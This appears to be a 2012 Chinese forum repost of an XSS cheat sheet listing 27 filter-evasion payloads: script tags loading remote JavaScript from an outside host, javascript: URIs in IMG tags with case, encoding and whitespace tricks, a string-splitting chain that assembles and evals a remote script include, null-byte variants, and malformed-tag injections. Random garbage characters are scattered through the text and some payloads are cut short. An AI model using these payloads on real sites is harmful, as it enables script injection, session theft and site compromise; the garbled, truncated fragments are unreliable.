标题: xss跨站脚本攻击汇总 [打印本页] 作者: admin 时间: 2012-9-5 14:56 标题: xss跨站脚本攻击汇总 貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。 ; H) t, f b# u% X# J$ P , v0 O$ O8 ]8 | (1)普通的XSS JavaScript注入 " E$ I: X9 \/ V, e/ L, o; c <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> ; u2 ?, ~( d' F* Q& T/ P - Q6 z+ r# L7 i9 ~! S (2)IMG标签XSS使用JavaScript命令 , ]5 `* q3 g5 q: J8 f6 J0 o9 y <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> 1 N+ ^. h5 j* ]6 q! X5 g 7 A2 Z: b' H {) @ (3)IMG标签无分号无引号( v6 J2 N/ l" n) Z7 Q" I: h
<IMG SRC=javascript:alert(‘XSS’)>0 }8 p' ^' f8 A1 S
! c* Y* \5 l5 U/ e) [" m
(4)IMG标签大小写不敏感 . j5 L) |9 E. r8 l% M% Z <IMG SRC=JaVaScRiPt:alert(‘XSS’)>! h8 s, O0 O' [, p4 `
8 z4 N5 i7 ?, u0 H' q
(5)HTML编码(必须有分号) ( G3 l! P6 D" K# f$ z/ _* L' i <IMG SRC=javascript:alert(“XSS”)>* x/ W9 }! G6 |' R: {
6 C x' L% y, p4 m
(6)修正缺陷IMG标签 # D: f W4 Q8 e @. V <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> { `6 m4 E" f
# K0 d4 R6 `+ G( n (7)formCharCode标签(计算器)2 c* z1 n' W9 _" Q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>+ t+ R( S# |; S' |. ~8 `) y
. z2 v7 _/ O! L6 N7 n (8)UTF-8的Unicode编码(计算器) / V4 U7 |: l$ T. o# a. X2 L5 [5 R( z' N <IMG SRC=jav..省略..S')> ) j7 H# j6 l$ Z: g s" |( u: j. P' E4 R( b% Y" n
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)/ l8 D2 h/ r6 j. ]5 M# [
<IMG SRC=jav..省略..S')> A0 ]. o0 S# L2 w5 R$ w
8 g$ E) h+ ?& x (10)十六进制编码也是没有分号(计算器)/ f: F8 z: n% F' z
<IMG SRC=java..省略..XSS')> " x. r3 A' @0 O' T; y L6 \# n4 I. K c H9 d
(11)嵌入式标签,将Javascript分开, s0 z) I6 W9 ~* I) m/ r
<IMG SRC=”jav ascript:alert(‘XSS’);”> . m0 q1 l. u2 r+ G; h" h5 Y+ t ; M4 U B+ x! c' ? (12)嵌入式编码标签,将Javascript分开 8 G' t$ d; a8 n- `4 V! k. W5 A <IMG SRC=”jav ascript:alert(‘XSS’);”>' q" f* u3 c( H. z
Z5 J6 W' f3 P/ f0 ?6 Y( i( h
(13)嵌入式换行符 7 c4 z, b7 v7 n% `& g W) c <IMG SRC=”jav ascript:alert(‘XSS’);”>4 G/ U' V# C+ N% K2 q) p
8 m* L/ H' J. a) j1 Q* J0 f. | (14)嵌入式回车' E6 J5 m% |( H8 b6 F! ~8 j
<IMG SRC=”jav ascript:alert(‘XSS’);”>9 i. h0 u( g9 ~3 s: M- ?1 t( x7 n
8 W% h$ h/ f7 R \9 v
(15)嵌入式多行注入JavaScript,这是XSS极端的例子+ x+ D* @* }/ r$ p$ D8 M2 a
<IMG SRC=”javascript:alert(‘XSS‘)”>$ G* O( G4 o: m- u
* G6 o1 g( t& O5 `: F (16)解决限制字符(要求同页面) 4 `' w' c: @4 }6 @, P. i) m <script>z=’document.’</script> , U* s5 Z ]% X/ g <script>z=z+’write(“‘</script>4 q% Y9 |9 v% i$ m8 V2 y. C
<script>z=z+’<script’</script> 2 \ `6 S6 v9 h <script>z=z+’ src=ht’</script>! n' `4 W+ M) x: B* g
<script>z=z+’tp://ww’</script> 8 b3 S: d D+ A; K1 G2 M <script>z=z+’w.shell’</script>/ S* N9 g4 E* w, V' ^
<script>z=z+’.net/1.’</script> 5 S. S$ {3 D7 h$ O2 K5 M <script>z=z+’js></sc’</script>. p! ~; V: `% k
<script>z=z+’ript>”)’</script> & ~/ ~0 i0 m' R) W" R4 n( X <script>eval_r(z)</script> 8 m6 i, i. ]( C2 G! g5 j: J# g; [! g, v4 F
(17)空字符 $ x9 X% h- `2 g7 d; e1 p* b perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out * G9 a- r; B' k; T; V9 g) \' G 1 }4 r, c7 ]' Y2 W (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用5 d! `+ B, n2 W# F' l) Z
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out) n1 U& }1 C p
2 _6 ^, f# E7 q7 M( s
(19)Spaces和meta前的IMG标签 V* a; d$ p+ Q, \$ O3 X <IMG SRC=” javascript:alert(‘XSS’);”> - ?% u3 T7 K; L7 R1 |( ?) f: o/ `6 X3 I, U6 j
(20)Non-alpha-non-digit XSS. p2 n2 Q- ~- [( K
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT> 4 |, \7 o' p1 p2 l2 i$ M( ~1 d0 T& j
(21)Non-alpha-non-digit XSS to 2 9 A; ]/ F# m4 s' c( r <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> & _8 h" v2 q3 d8 Z& d6 ?+ y+ W& Y 9 ?, V5 `! l$ L2 x7 b' J (22)Non-alpha-non-digit XSS to 3 4 [8 Y+ P9 A8 n" h% v <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>$ f, ~! }) C- m4 j" Q
' g4 r/ z. O4 j' V (23)双开括号& n6 V$ |5 M/ v
<<SCRIPT>alert(“XSS”);//<</SCRIPT> " ?& C8 }5 j2 a) q: @) H 0 p/ W- I/ ^# y' U8 ~ (24)无结束脚本标记(仅火狐等浏览器) 8 C) [( V: X0 p& O, B <SCRIPT SRC=http://3w.org/XSS/xss.js?<B> * X8 U3 N7 g- s" E4 `6 A e- j, ~, q i5 W/ v
(25)无结束脚本标记2 9 G% m) Z0 ?$ D6 ^. j6 p5 n7 q <SCRIPT SRC=//3w.org/XSS/xss.js> & m" d1 G* A6 z, ^/ a* S* e, I8 p% ]- F9 b2 d3 _
(26)半开的HTML/JavaScript XSS ( V# V: @8 c0 X3 l0 V2 d% D/ n6 m <IMG SRC=”javascript:alert(‘XSS’)”; M% P0 v9 G* z% X% n/ A/ [
- d3 p2 V: X/ \& D) r (27)双开角括号3 G# K4 ]9 f! _; j/ }
<iframe src=http://3w.org/XSS.html <8 M) U/ U" d7 ~- @- t c% e% j, T